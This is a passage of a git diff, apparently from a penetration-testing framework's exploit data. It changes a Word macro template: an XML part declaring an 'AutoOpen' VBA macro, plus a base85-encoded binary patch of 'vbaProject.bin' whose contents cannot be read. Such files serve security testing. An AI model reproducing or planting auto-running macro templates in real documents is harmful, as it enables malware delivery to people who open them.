xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData> \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin old mode 100644 new mode 100755 index 36867c5fec17a88b59711219154f3768d0ee6e92..bd1940cf579b96459a0a236ae187302dbe6f0185 GIT binary patch literal 23040 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 literal 17920 zcmeHu3v^u7dG0=EMx)Wo9t+#ZkJwvd*&5l>Ff)2sGM1T#o}iZ{#deH98qFL@V~=Kr znIlWK0gr4G970x2fIu3Om`Cp|siB6nzR=!e3DVw@ELICm?pjV(*Nq&wt@}vpK$5aZ zs_FOdbB;8U1sJ;0uCA3W{b%p<pZ)yzzhB?}=Z(KwHT&cX>o2n<ZVxlDxlA6jWbq}0 ziG;H;CL=)abD2y=V={)|Z{2?*3H%%Cny2@n8Gb&9`aBn81ySE_gufb82r2@t0IdW; z1=uQ3G3W+R4rmQ%E$Bv231}T?J!k{yQy|K36a38}4k`r^@3-#1MgqMojz1NB(ad7- zlk6yZ<oexO^tw^=f{#dMQ=Sb!ea~M@CdBiS0>JHKe&*AHpXh1D3}lo~`7Y;-at%K_ zPCpxC5td?2kV1$}uyLjcIb_HAu<&{&OH@9M8S+0YZuYnHdS$y%-X!Z}L6n|E9a7nm zt|Pn}<<q#Ox%hg^r+!jtaKcF-N=wzDd}s`3kAIpQXilIs+2fza?9%a1bHsAvpW@Q^ zr+H+#@oxuz3#bgV6|@ah4sw7hK-)n(K$V~>kP~zh$OUqPJfLb&4X74W2igg$2Q`3p zfo=xv1~r2AfNlYKL8N<rPyo~fY6i7{T0w1~cF?V$+dv(lPEZ$!+R+1lFQ^yP2kHlX z8nh3zA4G9J1OFiCcF+Lm4$z&TLC_E=2pR^3Kw*#q8Uc-h#y}C!A<$t^6f_Qsf#RS9 z=q?bILwZC0gzitmp90ZnJ_b4tx*J4svYoV6V$xN7cwT1g2k?Icji3mBjQ2bf7;vN{ zu`3smS0?i`!e>Ai5tit~yxM8m66fPP8<J3Aq<*yY7*&)ctNuofq40+~ZTxkj6BjC@ z@r=s;7+)xh!ucYMqW-ge2Wla+K0B35BJQ)zhjbpk@78!m?Inx}H}o%#xndl;6UA8g zpc%{%oFuhTNolR;ZD_YB8M7A2fgF`Vj>5D?Z`FD9Zt%&cbea?WE`r2295IY=w*O)L z>~GoO?DQ0t#At4u8a$Z8eoPTRshj&ARbFJdNVkZCZus&A=2O*VWOzbl3g71+><VH@ z;EmkgKZbRpDIS^_S7J8RUX-8zpg)+B<Okhd@#J_gDm&NhYmLT-gV9py8-0mjNQ$-u 